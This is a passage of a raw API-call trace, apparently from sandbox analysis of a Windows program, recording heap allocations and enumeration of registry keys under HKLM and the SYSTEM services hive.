(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.356] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.356] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.357] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.357] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.357] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.357] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.357] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.357] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.358] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.358] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.358] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.360] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.360] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.360] RegCloseKey (hKey=0x154) returned 0x0 [0249.360] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.360] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.361] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.362] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.362] RegCloseKey (hKey=0x148) returned 0x0 [0249.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, 